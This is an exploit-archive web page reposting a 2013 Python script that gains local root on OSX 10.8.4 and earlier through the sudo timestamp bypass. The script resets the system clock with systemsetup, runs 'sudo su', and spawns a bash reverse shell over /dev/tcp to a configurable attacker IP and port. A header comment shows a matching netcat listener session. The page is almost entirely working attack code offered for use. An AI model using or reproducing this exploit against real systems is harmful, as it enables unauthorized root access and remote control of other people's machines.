OSX <= 10.8.4 - Local Root Priv Escalation (py)

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

OSX <= 10.8.4 - Local Root Priv Escalation (py)

来源：https://www.trustedsec.com 作者：ReL1K 发布时间：2013-09-02

#!/usr/bin/python

# Original MSF Module:

# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb

###################################################################################################

# Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell

# Date: 08-27-2013

# Exploit Author: David Kennedy @ TrustedSec

# Website: https://www.trustedsec.com

# Twitter: @Dave_ReL1K

# Tested On: OSX 10.8.4

#

# Reference: http://1337day.com/exploit/description/21166

#

# Example below:

# trustedsec:Desktop Dave$ python osx_esc.py

# [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444

#

# attacker_box:~ Dave$ nc -l 4444

# bash: no job control in this shell

# bash-3.2#

###################################################################################################

import subprocess

# IPADDR for REVERSE SHELL - change this to your attacker IP address

ipaddr = "192.168.1.1"

# PORT for REVERSE SHELL - change this to your attacker port address

port = "4444"

# drop into a root shell - replace 192.168.1.1 with the reverse listener

proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)

proc.stdin.write(

"systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n"

% (ipaddr,port))

print """

###############################################################

#

# OSX < 10.8.4 Local Root Priv Escalation Root Reverse Shell

#

# Written by: David Kennedy @ TrustedSec

# Website: https://www.trustedsec.com

# Twitter: @Dave_ReL1K

#

# Reference: http://1337day.com/exploit/description/21166

###############################################################

"""

print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)

[

推荐] [

评论(0条)] [返回顶部] [打印本页] [关闭窗口]

匿名评论

评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。

§最新评论：

热点文章

·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1

推荐广告